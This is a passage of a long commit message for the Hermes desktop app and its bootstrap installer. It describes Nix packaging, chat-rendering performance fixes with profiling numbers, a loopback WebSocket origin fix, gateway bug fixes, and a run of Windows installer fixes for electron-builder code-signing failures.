picks up the fully-wired nix hermes (venv, bundled skills/plugins,
runtime PATH) without reimplementing agent resolution.
- nix/desktop.nix: renderer + electron wrapper
- nix/hermes-agent.nix: finalAttrs form, exposes hermesDesktop in passthru
- nix/packages.nix: exposes .#desktop + adds to fix-lockfiles
- apps/desktop/package-lock.json: standalone hermetic lockfile
nix build .#desktop && nix run .#desktop both clean.
* fix(desktop): probe steps 4 & 5 of resolveHermesBackend before trusting
A user-reported failure on Windows-on-ARM: a pre-installed Python 3.13
on PATH makes findSystemPython() succeed, so resolveHermesBackend
returns a backend pointing at it -- but hermes_cli isn't in that
interpreter's site-packages. The spawn dies with ModuleNotFoundError
and the user sees a dead GUI instead of the first-launch installer.
Same shape can hit step 4 (existing `hermes` on PATH) when a stale
shim survives a partial uninstall.
Add cheap exit-code probes -- `python -c "import hermes_cli"` for
step 5, `<hermes> --version` for step 4 -- and fall through to step 6
(bootstrap-needed) on failure. install.ps1 then runs as if on a clean
box and the venv gets built.
Probes live in a standalone electron/backend-probes.cjs module so they
can be unit-tested with node --test, same pattern as bootstrap-platform.cjs
and hardening.cjs. New test file wired into test:desktop:platforms.
* test(desktop): allow `node-pty` bare-require in packaged entrypoints
Pre-existing failure on bb/gui since c858484b4 swapped the node-pty
fork for upstream microsoft/node-pty 1.1.0. main.cjs intentionally
bare-requires node-pty (it's hoisted by workspace dedup in dev, and
staged to resources/native-deps via scripts/stage-native-deps.cjs +
extraResources for packaged builds, with a try/catch fallback at
line ~38). The allowlist hadn't been updated to match -- same shape
as `electron`, which was already allowed.
* chore(deps): refresh root lockfile for dashboard @nous-research/ui 0.14.0
apps/dashboard/package.json was bumped to @nous-research/ui 0.14.0 (+
flag-icons ^7.5.0, motion ^12.38.0) but the root package-lock.json was
never refreshed. Running `npm install` from the repo root now
materialises 0.14.0's transitive closure (launder, bumps for
@nanostores/react, nanostores, sanitize-html, tailwind-merge).
No code changes; purely a lockfile catch-up so fresh checkouts on bb/gui
get a working dashboard install.
* chore(desktop): bump version to 0.0.1
First non-placeholder version so electron-builder's artifactName template
produces `Hermes-0.0.1-win-x64.exe` instead of the obviously-unreleased
`Hermes-0.0.0-...`. No release process yet; this just stops the artifact
filename from telling users "you got a debug build."
Bumped in three slots that all carry the desktop app's version:
- apps/desktop/package.json (source of truth)
- apps/desktop/package-lock.json (per-app lockfile, kept for CI parity)
- root package-lock.json's apps/desktop workspace entry
Identity-of-build for first-launch bootstrap continues to come from
build/install-stamp.json (commit SHA + builtAt), unchanged.
* fix: fs icon color
* perf(desktop): cut per-keystroke layout + listener churn in chat composer
Empirical work via CDP harnesses under apps/desktop/scripts/ (see
profile-typing-lag.md):
jsListeners growth (per round of 200 chars + GC):
before: +35 (verified leak — listeners stuck after 1st trigger popover use)
after: +0
Four narrow edits in src/app/chat/composer/index.tsx:
1. Drop the per-keystroke `editorRef.current.scrollHeight` read used to
decide composer expansion. Replace with `draft.length > 60` heuristic;
the existing ResizeObserver still catches edge cases. `scrollHeight`
is a forced-layout call and was firing on every char until the first
wrap.
2. Bucket measured composer height to 8px before writing
`--composer-measured-height` / `--composer-surface-measured-height`
on `documentElement`. Without this, the editor grows ~1px per char,
setProperty fires every keystroke, computed style is invalidated tree-
wide.
3. Remove the dead `$composerDraft` two-way sync. Nothing outside the
composer subscribed to that atom (verified via grep). Two useEffects
on `[draft]` were pushing draft→atom and atom→aui per keystroke for
no consumer. Also drop the per-keystroke
`reconcileComposerTerminalSelections` call; it was pruning stale
labels for `terminalContextBlocksFromDraft`, but that helper already
ignores labels not in the current submitted text, so pruning per
keystroke was just bookkeeping.
4. `refreshTrigger` fast-bails when the draft contains neither `@` nor
`/`. Previously `textBeforeCaret(editor)` ran on every input/keyup
regardless; `range.toString()` inside is O(n) over draft length.
Synthetic typing latency p50/p90/p99 is similar before vs after on a
freshly-loaded session (Blink can already handle ~30cps typing into a
contentEditable on its own); the real win is the listener leak being
gone and the global computed-style invalidations dropping ~8× when the
composer is sitting at a fixed height row.
The `Enter → stall` follow-up (see profile-typing-lag.md §"Submit /
TTFT stall") is unmeasured here — needs a throwaway session because
the harness fires a real prompt. Not blocking this commit.
* perf(desktop): cut FadeText forced layouts during streaming
The slowest user-felt path is typing into the composer while the
assistant is streaming. Profile (scripts/profile-under-stream.mjs):
FadeText measureOverflow self time: 35.8 ms → 18.1 ms (-50%)
total active CPU during 7s window: ~150 ms → ~50 ms
Two changes in src/components/ui/fade-text.tsx:
1. Drop the `useEffect([children])` that re-ran `measureOverflow`
(reads scrollWidth + clientWidth — forced layout) on every parent
re-render. `useResizeObserver` already fires the same callback on
mount and whenever the host span's box size changes; that covers
the only case where overflow state can legitimately change. The
previous explicit useEffect was a forced-layout flush on every
parent render, which during streaming meant every token tick.
2. Wrap the component in `memo` with a custom comparator that
short-circuits the entire render when scalar string `children` and
the className/fadeWidth/style props are unchanged. The hot path
was tool-fallback's title chips being re-rendered by parent
streaming updates even though their text was stable; memo+
comparator skips that.
Also adds two harness scripts under apps/desktop/scripts/:
- latency-under-stream.mjs (key→paint latency while a turn streams)
- profile-under-stream.mjs (CPU profile while a turn streams)
Updates profile-typing-lag.md with the streaming numbers and confirms
the Enter→paint submit path is already fast (≤320ms on the populated
session; the 2s "stall after Enter" the user noticed once was a
one-time cold-start, not reproducible at the UI layer).
I'd guess the felt jank in real use is fast-burst typing during a
long-form streaming reply (code blocks + markdown lists multiply the
per-token render cost). The CPU savings here scale linearly with
token volume.
* chore(desktop): drop diag scratch scripts no longer needed
* docs(desktop): correct leak-typing numbers on a real session
Re-ran the leak harness on a populated session (Phaser thread) for both
unpatched and patched builds. The original 'listener leak' was transient
warm-up cost, not a steady-state leak — both versions show 0 listener
growth/round in steady state.
The load-bearing number is forced layouts per character:
unpatched (HEAD~2): 7.02 layouts/char
patched (HEAD): 2.35 layouts/char (3× fewer)
The patches reduce per-char forced-layout work to Blink's natural floor.
Document node count and heap are flat in both builds.
* perf(desktop): fix "Enter jumps up" on long threads
User reported: after pressing Enter on a long thread, the view jumps up
— the just-submitted message disappears below the fold. Confirmed via
apps/desktop/scripts/measure-jump.mjs:
before: distFromBottom 0 → 49.5px, sticks there permanently
after: distFromBottom 0 → ~0 (worst case 4px for one frame)
Root cause in useThreadScrollAnchor (thread-virtualizer.tsx):
1. The sticky-bottom logic disarmed on any scroll event where
`scrollTop < lastTopRef.current`. That check can't distinguish a
user scrolling up from a programmatic `pinToBottom` write that
the browser clamped short of bottom (because content also grew in
the same frame, so `scrollTop = scrollHeight` lands at
`scrollHeight - clientHeight` for the OLD scrollHeight, which is
now below the NEW scrollHeight). Result: sticky-bottom disarmed
permanently on the user's first submit.
2. There was no synchronous pin tied to React's commit phase. By the
time the ResizeObserver fired and re-pinned, the user had already
seen ~50ms of "message below the fold" — visually that reads as the
view jumping up.
Fix:
- `programmaticScrollPendingRef` counter tracks scroll events we
expect to be ours (one per `pinToBottom` write). The scroll handler
skips the disarm check when consuming a pending tick, keeps the
arm bit true, and re-pins synchronously if the browser clamped us
short of bottom. A depth cap (8) breaks runaway loops in
pathological streaming-burst layouts.
- `useLayoutEffect` on `groupCount` increase pins BEFORE the browser
paints, eliminating the visible ~50ms window between optimistic
user-message insert and the RO/scroll-event chain firing.
Verified on the long Cloud Shadows thread (7-8 turns, ~11k px tall):
all three repro runs now hold within 0–4 px of bottom across the
post-Enter transition. Submit latency unchanged (paint 77–107 ms),
streaming-typing latency unchanged.
Also adds three debug harnesses:
- measure-jump.mjs — sample thread scroll across Enter
- probe-thread.mjs — dump current thread / scroll state
- diag-jump.mjs — intercept scrollTop + RO + mutations across Enter
* perf(desktop): rate-limit thread auto-pin during streaming
Follow-up to the Enter-jump fix. The first version did a synchronous
re-pin loop inside the on-scroll handler when the browser clamped our
`scrollTop = scrollHeight` write short of the new bottom; that gave a
tight 4 px visible jump on Enter, but during streaming the
ResizeObserver fires many times per second as content grows, and each
RO callback re-entered the pin loop. CPU profile showed
`Virtualizer.getMaxScrollOffset` climbing to 22 ms self over a typing-
during-streaming window — the sync re-pin path was paying tanstack-
virtual's recompute cost ~3× per token.
Re-architect:
- RO callback coalesces to one pin per animation frame. Streaming-rate
RO bursts now cost the same as a single per-frame pin.
- The on-scroll programmatic-counter guard remains (it's what prevents
the false-disarm bug when the browser clamps a write). It no longer
does sync re-pins; the next RO/rAF will catch up.
- The useLayoutEffect on groupCount (the path that fires on user
submit / new turn arrival) ALSO schedules one rAF pin in addition to
the synchronous pin. This catches the case where React mounts the
new message in a second commit (after our layout effect ran), which
grows scrollHeight again. Two pins instead of a tight loop, paid only
once per turn change.
Net effect on the Cloud Shadows long thread:
enter-jump transient: 12–20 px for 1 frame (was 49 px permanent)
CPU during stream+type: `getMaxScrollOffset` dropped out of top-5
self-time list
typing-during-stream: p50 ~10 ms paint, p99 ~20 ms (1 frame),
occasional 40 ms+ outliers during burst
token arrivals
Also adds scripts/profile-long-stream.mjs: 20-second streaming profile
with per-500ms FPS histogram + content-length tracking, so we can see
whether streaming render cost grows with message length (it doesn't —
sustained 60 fps).
* perf(desktop): use textContent for trigger precondition
Replace composerPlainText() call inside refreshTrigger's no-trigger
fast-bail with a textContent check. textContent is a browser-native
flat traversal; composerPlainText walks recursively with chip-aware
logic. We only need to know if @ or / appears; either way the trigger
char will be in textContent because chips contain @ in their refText.
Profile shows composerPlainText was ~18ms self over a 12s typing-during-
stream window, called from refreshTrigger on every keystroke. Most of
that was the precondition check (the trigger detection path is the
slow path but only runs when a trigger char is present).

This reverts commit 0739588f4896902f7f0d4ded8b5eaeb92bfdf042.
* chore(desktop): synthetic-stream perf harness + scripts
Drops the React `<Profiler>` approach (no-op because Vite is currently
serving the production React build) in favor of an externally-observable
measurement stack: rAF frame intervals, `PerformanceObserver({entryTypes:
['longtask']})`, and a `MutationObserver` on the live streaming message.
Adds a synthetic stream driver — `window.__PERF_DRIVE__.stream({...})` —
that pushes tokens through the live `$messages` atom at a controlled rate,
so the assistant-ui runtime, incremental repository, and Streamdown
markdown pipeline see the same workload they'd see during a real LLM
stream, without the LLM cost.
The driver lives in `src/app/chat/perf-probe.tsx`; `main.tsx` side-imports
it under `import.meta.env.MODE !== 'production'` so it tree-shakes out of
prod builds. (Using `MODE` rather than `DEV` because our Vite setup
currently reports `DEV=false` even under `vite dev` — see the dev-build
note in `profile-typing-lag.md`.)
Scripts:
- measure-synthetic-stream.mjs drive synthetic + record frame/longtask/mutation
- profile-synth-stream.mjs CPU profile + top self-time during synthetic
- measure-real-stream.mjs same harness, real LLM stream
- profile-real-stream.mjs CPU profile bracketing the real stream window
- eval.mjs / reload.mjs small CDP helpers
A real-LLM measurement on Cloud Shadows (gpt-4o-mini, 39 s window) showed
12 longtasks in the same 75-127 ms range the synthetic predicted, so the
synthetic is a faithful proxy.
* perf(desktop): memo FadeText so it skips re-renders when text unchanged
FadeText is used 110+ times inside `tool-fallback.tsx` on a tool-heavy
thread. During streaming each parent re-render previously triggered the
component's `useEffect([children])`, which forced a `scrollWidth` layout
read even when the title text was unchanged. The `useResizeObserver` was
already covering the genuine resize case, so that effect was strictly
redundant work.
Drops the effect and wraps the component in `React.memo` with a custom
comparator that field-compares `className`, `fadeWidth`, and `style`,
plus identity-compares `children` (scalar fast-path; correct for JSX
nodes too since a new node should force a re-render).
Verified via temporary render counter on the 34 MB
`session_20260514_215353_fe0ac8` thread (110 FadeText instances): a
2 s synthetic stream went from ~11k FadeText render calls to 122 —
roughly one render per truly-new instance instead of one per parent
commit per instance.
Doesn't move the longtask needle on its own (Streamdown's markdown
re-parse dwarfs it) but eliminates a steady CPU floor and a class of
forced layouts during streaming. Profile-typing-lag.md documents the
full investigation, including the remaining Streamdown cost as the
real source of the perceived "5 fps moment" hitches.
* perf(desktop): memoize MarkdownText plugins to stop churning Streamdown
The inline `plugins={{ math: mathPlugin, ...(isStreaming ? {} : { code }) }}`
on `<StreamdownTextPrimitive>` constructed a new object literal on every
parent render. That broke `<Streamdown>`'s outer memo and forced its
internal `rehypePlugins` / `remarkPlugins` array useMemos to rebuild,
which propagates a new identity into every `<Block>` and defeats Block's
memoization for stable historical blocks.
After memoizing on `[isStreaming]` (the only real dimension of variance),
CPU profile during a 5 s synthetic stream on the 34 MB session shows
`parser` self-time dropping out of the top 10, `compile` cut roughly in
half, and `bn$1` / `m$1` (micromark internals) leaving the top entries.
Doesn't move the visible longtask count on its own — Streamdown's
per-Block parse cost still dominates whenever the last block's content
changes — but it removes a class of unnecessary re-parses for historical
blocks during streaming. See `scripts/profile-typing-lag.md` for the
full investigation.
* perf(desktop): floor assistant-text flush gap to 33ms for predictable batching
`scheduleDeltaFlush` previously coalesced via `requestAnimationFrame`
only. The "at most one flush per frame" guarantee that gives you is fine
for fast streams (>~80 tok/sec) where multiple tokens arrive within a
single frame, but breaks down at typical LLM token rates (30-80 tok/sec)
where each token arrives slower than the rAF cadence and triggers its
own React commit + Streamdown markdown re-parse.
Track `lastFlushAt` and require at least 33 ms between two flushes.
React 18+ auto-batching probabilistically already collapsed some of
these, but the floor makes it deterministic.
A/B on the 34 MB session, 300 tokens at 50 tok/sec (markdown chunks):
| | avgFps | p99 frame | LTs / 5 s | max LT |
|---|---|---|---|---|
| no floor (current rAF) | 54.0 | 38 ms | 2.0 | 145 ms |
| 33 ms floor (this PR) | 54.3 | 41 ms | 1.7 | 110 ms |
`inter-mutation` p50 also tightens from 22-28 ms to a clean 33 ms,
which is the expected signature of a deterministic floor. Doesn't fully
solve the user's perceived hitches — Streamdown's per-Block parse cost
when the last block grows past ~2 k chars is still the elephant — but
it consistently shaves the worst-case longtask and makes the streaming
cadence visibly steadier.
Also threads a matching `flushMinMs` option through the synthetic
stream driver in `perf-probe.tsx` + `scripts/measure-synthetic-stream.mjs`
so the harness can A/B both regimes without spending LLM credits.
See `scripts/profile-typing-lag.md` for the full investigation.
* perf(desktop): useDeferredValue for streaming markdown so parses don't block input
Streamdown's per-Block parse cost grows with the live tail's length and
is unavoidable inside the block-memo pattern (industry standard, see
findings doc). The fix is to stop having that work block the main thread.
`<DeferStreamingText>` is a 12-line wrapper that reads message-part state
via `useMessagePartText`, runs it through `useDeferredValue`, and
re-publishes via assistant-ui's `<TextMessagePartProvider>`. The inner
`<StreamdownTextPrimitive>` reads the deferred value through the normal
`useMessagePartText` hook — no fork, no internal-path imports, fully on
assistant-ui's public API. React's concurrent scheduler then:
- abandons in-flight deferred renders when a newer token arrives, so
intermediate states get skipped under fast streams
- deprioritises the markdown render when the main thread has urgent
work (typing, scroll), so input stays responsive even while a
100ms parse is queued
Streamdown already uses `useTransition` for its block-array setState;
this lifts the deferral up to the consumer boundary so it covers the
whole pipeline (preprocess → split → repair → parse → render).
A/B on the 34 MB session, 300 tokens at 50 tok/sec, markdown chunks
(four trials each, with the 33ms flush throttle on for both):
| | avgFps | p99 frame | LTs/5s | max LT | typing-while-stream p95 |
|---|---|---|---|---|---|
| pre | 54.3 | 41 ms | 1.7 | 110 ms | ~17 ms |
| post | 58.5 | 31 ms | 2.0 | 117 ms | 14-18 ms |
Longtask count + max LT unchanged — useDeferredValue doesn't reduce
CPU, only its priority. The avgFps lift and p99 frame drop are the
proof that the existing CPU is no longer blocking 60 fps cadence. One
clean run logged MUTATIONS=0 — React skipped every intermediate text
state and only committed the final one (textbook deferred-value
behaviour).
The actually-reduce-CPU path is replacing the parser with a state
machine like Flowdown — left for a future PR; see
`apps/desktop/scripts/profile-typing-lag.md` for the full investigation.
* feat(desktop): add hermes gui launcher
* feat(desktop): launch packaged gui builds by default
* bump gui version to 0.0.2
* fix(dashboard): allow file:// origin on loopback WS + diagnostic logging
Upstream commit 2e66eefbc ("fix(dashboard): validate WebSocket Host
and Origin") added a WebSocket Host/Origin guard to block DNS
rebinding against the dashboard. The guard rejects any Origin whose
scheme is not http/https or whose netloc is empty — which includes
Electron's renderer Origin: file:// when the desktop app loads its
bundle from disk in production mode.
That makes the bb/gui Electron desktop unable to open the gateway
WebSocket against the embedded backend on Windows / macOS prod
builds. The renderer reports "Desktop boot failed" and the backend
logs:
WARNING hermes_cli.web_server: gateway-ws reject
peer=127.0.0.1:NNNN reason=non_loopback_or_bad_origin
bound_host=127.0.0.1 close_code=4403
DNS-rebinding requires a DNS-resolvable hostname; file:// has no
host component and therefore cannot be the attack vector this guard
exists to block. When bound to a loopback interface (127.0.0.1 /
::1 / localhost), accept file:// origins so desktop wrappers can
attach. Non-loopback binds (operator opted into network exposure)
keep rejecting file:// — the loose policy doesn't apply.
Also adds per-reason diagnostic logging in
_ws_host_origin_is_allowed, so future ws-guard rejections name the
specific clause that fired (bad_host / bad_origin_scheme /
origin_host_mismatch) instead of the opaque
"non_loopback_or_bad_origin" surfaced at the call site.
Verified against tests/hermes_cli/test_web_server_host_header.py
(all 11 upstream tests still pass) and hand-tested by opening the
bb/gui Electron desktop dev build against the patched backend.
* fix(tui_gateway): restore _content_display_text helper
Bb/gui had dropped the helper but the orchestrator code merged from main
still calls it (_inflight_text, _message_preview). Re-add the definition
verbatim from main so session.create / _start_inflight_turn don't crash
with NameError on first prompt submit.
* fix(tui-gateway): restore _content_display_text helper lost in main merge
The May 27 merge of origin/main into bb/gui re-introduced two callers of
_content_display_text (in _inflight_text and _history_to_messages) but
dropped the helper definition itself, leaving an unresolved reference.
NameError fires on every user message via _start_inflight_turn ->
_inflight_text, taking down both the TUI and the desktop (which share
this gateway backend) the moment input is dispatched.
Restores the helper verbatim from main (commit 36c99af37) -- pure
structured-content text extractor, no other dependencies.
* fix(telegram): import Set for _dm_topic_chat_ids annotation
self._dm_topic_chat_ids: Set[str] = {...} at line 460 references Set
but only Dict, List, Optional, Any are imported from typing. The file
has no 'from __future__ import annotations', so the annotation is
evaluated at runtime and raises NameError on TelegramAdapter
construction.
* fix(setup): drop shadowing inner importlib.util re-imports
_print_setup_summary and _setup_tts_provider each had 'import
importlib.util' inside a try: block nested deeper in the function
body. Python flips importlib to function-local for the whole scope,
so earlier references in the same function (the neutts branches at
lines 493 / 1109) hit UnboundLocalError before the late import can
run.
The top-of-module 'import importlib.util' at line 14 already covers
both call sites, so dropping the redundant inner imports restores
the intended behavior.
* feat(install.ps1): add -IncludeDesktop switch + Stage-Desktop
The new Hermes-Setup.exe (Tauri bootstrap installer) passes -IncludeDesktop
so users who install via the GUI end up with a launchable Hermes.exe at
apps/desktop/release/<os>-unpacked/. Existing flows are unchanged:
* The 'irm install.ps1 | iex' CLI one-liner omits the flag — terminal
users don't need a prebuilt desktop binary; 'hermes desktop' builds
on demand.
* The Electron desktop's bootstrap-runner.cjs also omits the flag —
rebuilding apps/desktop from inside a running Hermes.exe would try
to overwrite the live binary on disk and fail.
Stage-Desktop runs after Stage-NodeDeps so workspace npm is already
installed when electron-builder fires. It does:
1. 'npm install' at repo root so apps/* workspaces resolve their deps
(Electron itself arrives via npm here, ~150MB)
2. 'npm run pack' in apps/desktop (tsc + vite + electron-builder --dir)
3. Probes apps/desktop/release/{win-unpacked,win-arm64-unpacked}/Hermes.exe
The --dir mode produces an unpacked launchable binary without an NSIS/MSI
installer artifact — we don't need one because Hermes-Setup.exe spawns the
unpacked binary directly via launch_hermes_desktop.
* feat(installer): Tauri bootstrap installer for first-time onboarding
Hermes-Setup.exe is a small signed Rust+Tauri binary that drives
scripts/install.ps1 stage-by-stage with a native UI matching the
desktop's design language. Replaces the chicken-and-egg pattern of
shipping a 200MB Electron app whose first launch existed only to
run install.ps1.
The architecture:
Rust backend (src-tauri/):
bootstrap.rs orchestrator -- Tauri commands, stage iteration
install_script.rs resolve install.ps1 (dev checkout, cache, GitHub raw)
powershell.rs spawn powershell, line-stream stdout/stderr, parse JSON
events.rs BootstrapEvent types -- mirror bootstrap-runner.cjs
paths.rs HERMES_HOME resolution + tracing log setup
build.rs bakes BUILD_PIN_COMMIT / BUILD_PIN_BRANCH from
'git rev-parse HEAD' at compile time
React frontend (src/):
Tauri webview rendering 4 screens (welcome / progress / success /
failure), driven by nanostores subscribing to the Rust event stream.
Visual layer reuses the desktop's styles.css wholesale via @import
so the installer and desktop never drift visually.
Distribution:
targets = ['app', 'dmg', 'appimage'] -- no NSIS/MSI wrapper. The
raw target/release/Hermes-Setup.exe IS the artifact on Windows;
.dmg + .app on macOS; AppImage on Linux. One file, double-click,
no installer-installing-an-installer pattern.
Compile-time pinning:
build.rs reads 'git rev-parse HEAD' and emits
cargo:rustc-env=BUILD_PIN_COMMIT=<sha> + BUILD_PIN_BRANCH=<branch>.
bootstrap.rs's option_env!() picks these up so the binary fetches
install.ps1 from the exact SHA it was tested against. CI / release
builds can override via HERMES_BUILD_PIN_COMMIT env var.
Windows manifest:
hermes-setup.manifest declares level='asInvoker' so the
productName 'Hermes Setup' doesn't trip Windows's installer-
detection heuristic and refuse to launch without elevation.
Also declares PerMonitorV2 DPI + UTF-8 active code page + Common
Controls v6.
Limitations of this initial version:
* No code signing -- Windows SmartScreen will warn once on Hermes-Setup.exe
('More info -> Run anyway'). The downstream binaries it produces
(Hermes.exe in win-unpacked/, the hermes CLI) are locally-built and
therefore don't carry MOTW, so they launch without SmartScreen
intervention. Cert procurement tracked separately.
* macOS and Linux build paths defined but untested -- Windows-only V1.
* fix(installer): pass -IncludeDesktop to manifest, surface launch errors, alias hermes desktop
Three bugs found in the first VM end-to-end test:
1. install.ps1 -Manifest was called WITHOUT -IncludeDesktop, so the
manifest came back with the 14-stage list (no desktop stage), the
UI showed '14 steps' and Stage-Desktop never ran. Pass the flag to
both the manifest fetch and the per-stage runs — install.ps1 gates
the desktop stage's inclusion on the flag.
2. The Success screen's Launch button silently swallowed the Tauri
error when no Hermes.exe existed (e.g. Stage-Desktop was skipped).
Wire the error through to inline UI with an alert callout, so the
user gets actionable text ('Hermes.exe missing, run hermes desktop
from a terminal') instead of an unresponsive button.
3. The Success screen tells users to run 'hermes desktop' from a
terminal but the CLI only accepted 'hermes gui' — invalid choice
for 'desktop'. Rename the subcommand canonically to 'desktop' with
'gui' as a backwards-compatible alias. Update the _SUBCOMMANDS sets
used by session-flag arg parsing + logging-mode probe so both names
route to the same logic.
* fix(install.ps1): pre-warm electron-builder winCodeSign cache + fix Stage-Desktop $HasNode false-skip
Two bugs caught in the second VM end-to-end run:
1. electron-builder's winCodeSign extraction fails on grandma-class
Windows boxes because the .7z archive contains macOS symlinks
(darwin/10.12/lib/libcrypto.dylib and libssl.dylib pointing at
versioned siblings). Creating symlinks on Windows requires
SeCreateSymbolicLinkPrivilege, a per-user right that non-admin
accounts don't have on stock Windows. Result: every fresh install
on a non-admin user fails Stage-Desktop with a 7-Zip 'cannot create
symbolic link' error, retried four times, then bails.
Fix: Initialize-ElectronBuilderCache pre-extracts winCodeSign-2.6.0.7z
ourselves with -snl (don't preserve symlinks, store as resolved file
content) AND -x!darwin (skip the entire macOS subtree — irrelevant
on Windows). Writes to electron-builder's expected cache dir before
electron-builder gets a chance to try its own broken extraction.
Idempotent — fast-paths via signtool.exe sentinel check.
2. Install-Desktop's first guard was 'if (-not $HasNode) skip'.
$HasNode is set by Stage-Node into $script:HasNode, but in
cross-process driver mode (each -Stage NAME is a fresh powershell.exe
spawned by Hermes-Setup.exe), that script-scope variable from the
PREVIOUS process is invisible — so the guard always fired and
Install-Desktop returned in 900ms with a misleading
'Node.js not available' reason. The real npm probe below it never
got to run. Fix: re-probe npm directly via Get-Command when $HasNode
is empty/false, since by that point Stage-Node has already verified
Node is installed and the only question is whether *this* process
can see it on PATH (it can — installer-wide PATH update from Stage-Node).
* fix(install.ps1): tell electron-builder we're NOT signing instead of pre-extracting winCodeSign
The previous commit (c7e46f9f3) worked around the winCodeSign-symlinks-
on-Windows extraction crash by pre-extracting the archive ourselves with
-snl + -x!darwin. That fix was correct but addressed the wrong layer.
The deeper question: why was electron-builder fetching winCodeSign at all
when we have no signing cert configured? Answer: electron-builder
unconditionally pre-warms the toolchain assuming any build MIGHT sign.
The cert auto-discovery never finds anything (we never set CSC_LINK
or anything else), so the signing never happens — but the 100MB fetch
of winCodeSign and its broken-on-Windows symlink extraction does.
Set CSC_IDENTITY_AUTO_DISCOVERY=false (with WIN_CSC_LINK and
WIN_CSC_KEY_PASSWORD also explicitly cleared as belt-and-suspenders)
before invoking npm run pack, and electron-builder skips the entire
winCodeSign apparatus. No download, no extraction, no privilege check.
Env vars are saved/restored around the invocation so we don't leak
the override into Stage-PlatformSdks etc.
Net: removes the 100-line Initialize-ElectronBuilderCache helper that
manually downloaded + extracted winCodeSign-2.6.0.7z. Replaced with
3 env-var assignments. The produced Hermes.exe is functionally
identical — just no longer carries a code-signing-machinery dependency
we never used.
* fix(installer): bump bootstrap-installer.log to capture stage transitions + every install.ps1 line
Diagnosing the second VM failure was impossible because bootstrap-installer.log
contained only the 'starting' banner. Two causes:
1. emit_log() inside run_bootstrap() was tracing::debug! — dropped on the
floor under the default INFO env-filter.
2. The per-stage sink callbacks (on_stdout_line / on_stderr_line) only
emitted Tauri events to the frontend; they never tee'd to the log file
at all. When the failure route mounts, the Tauri event stream is the
only place the script output lived, and it gets discarded.
3. The Failed / Stage / Manifest / Complete lifecycle frames in emit_event()
were also Tauri-only — so even the 'which stage failed' frame never
reached the log.
Fixes:
* emit_log() → tracing::info!
* Sink callbacks tee stdout to info!, stderr to warn!, with stage label
as a structured field for grep'ability
* emit_event() now matches on the variant and logs each lifecycle frame
at the right level: Failed → tracing::error!, others → info!
Result: a failing install leaves a complete forensic trail in
bootstrap-installer.log — manifest stage list, every install.ps1
stdout/stderr line tagged by stage, the stage transitions, and the
final error. Same path as before so nothing the user does changes.
* fix(install.ps1): Stage-NodeDeps cross-process $HasNode + stream npm install output to bootstrap log
VM run 3 diagnosis: node-deps stage skipped on the VM (logged
'Skipping Node.js dependencies (Node not installed)') and then
desktop's npm install failed with exit 1 and zero diagnostic detail.
Two root causes:
1. $HasNode false-skip in Stage-NodeDeps — same cross-process bug
pattern we fixed for Stage-Desktop in c7e46f9f3. Stage-Node ran
in process A and set $script:HasNode = $true, then exited. Stage-
NodeDeps ran in fresh process B (Hermes-Setup.exe -Stage NAME
spawns each stage independently), where that variable doesn't
exist. Re-probe via Get-Command npm instead of trusting the
stale script-scope global. The previous stage already verified
Node so the re-probe succeeds.
2. npm install --silent + Tee to TEMP file hid the real error.
When the workspace install failed on the VM, the actual reason
was buffered in $env:TEMP\hermes-npm-desktop-install-*.log and
the user saw only 'exit 1'. Drop --silent so npm streams its
full output, drop the TEMP-file dance — the Tauri installer's
streaming sink already tees every stdout/stderr line to the
rolling bootstrap-installer.log, so a side log file is dead
weight that hides the very error we need.
After this, the bootstrap log on a failure will contain npm's full
output (deprecation warnings, ETARGET, native-module compile errors,
whatever) tagged with stage=desktop, making the actual cause
diagnosable instead of an opaque exit code.
* fix(install.ps1): restore Initialize-ElectronBuilderCache (CSC env vars alone aren't enough)
VM run 4 diagnosis: even with CSC_IDENTITY_AUTO_DISCOVERY=false set,
electron-builder still fetches winCodeSign and signs bundled binaries.
The log shows the signing happens BEFORE the cache extraction:
• signing with signtool.exe ...\winpty-agent.exe
• signing with signtool.exe ...\OpenConsole.exe
• downloading winCodeSign-2.6.0.7z
• <symlink privilege error>
Cause: node-pty's bundled prebuilds are listed in apps/desktop's
asarUnpack ['**/*.node', '**/prebuilds/**']. electron-builder
re-signs anything unpacked from asar, regardless of whether OUR
binary gets signed. The signtool invocation needs winCodeSign on
disk, which needs the .7z extracted, which hits the macOS-symlink
crash on non-admin Windows.
The CSC env vars I added in d5fe46727 only kill IDENTITY DISCOVERY
(so OUR Hermes.exe stays unsigned, which is fine — we have no cert).
They don't prevent the toolchain fetch for the bundled-prebuild
re-sign. I removed the pre-extract in d5fe46727 thinking the env
vars subsumed it; that was wrong. Both are needed.
Restoring Initialize-ElectronBuilderCache verbatim from c7e46f9f3
and keeping the CSC env vars. Wrote a clearer doc-comment at the
call site explaining the two-knob interaction so future maintainers
don't drop one half again.
* fix(desktop): disable signtool via signtoolOptions.sign=null, drop dead winCodeSign pre-extract
VM run 5 diagnosis: the pre-extract from 3b29e65c1 ran (extracted 83
files, 24MB) but produced ZERO files at the expected sentinel path
'/winCodeSign-2.6.0/windows-10/x64/signtool.exe'.
Cause: the .7z archive's root entries are 'windows-10/', 'darwin/',
'linux/', etc. — not 'winCodeSign-2.6.0/<arch>'. Extracting with
'-o$cacheRoot' put files at $cacheRoot/windows-10/..., NOT at
$cacheRoot/winCodeSign-2.6.0/windows-10/.... I had the directory
nesting wrong from the start.
And then we observed: electron-builder downloads winCodeSign-2.6.0.7z
under a random numeric filename ('384387955.7z') regardless of what's
already extracted in the parent dir. The cache key isn't the dirname;
it's content-addressed. So the pre-extract approach was doomed even
if the path nesting had been right.
Actual fix: signtoolOptions.sign=null in apps/desktop/package.json's
win build config. electron-builder honors this and skips the bundled-
prebuild signing entirely — no signtool invocation, no winCodeSign
fetch, no symlink-privilege crash. The previous failures all stemmed
from electron-builder pre-signing node-pty's bundled .exes
(winpty-agent.exe, OpenConsole.exe) which are already author-signed
upstream; re-signing with our nonexistent cert was overwriting good
sigs with nothing useful anyway.
Cost: when we DO get a real cert later, we'll add it back with the
sign function pointing at the cert chain. Until then, all-null is
the correct config and unblocks every non-admin Windows user.
Removed Initialize-ElectronBuilderCache (the dead pre-extract).
Removed the call site. Kept the CSC_IDENTITY_AUTO_DISCOVERY env
vars as belt-and-suspenders against a future electron-builder
change that might revive cert auto-discovery.
* fix(desktop): use no-op sign function instead of sign=null
VM run 6 still hit the symlink crash even with signtoolOptions.sign=null.
electron-builder 26.8.1 treats null as 'use the default signtool path'
rather than 'skip signing', so the winCodeSign fetch + extraction still
fired for the bundled prebuild re-sign.
The Electron docs (electronjs.org/docs/latest/tutorial/code-signing)
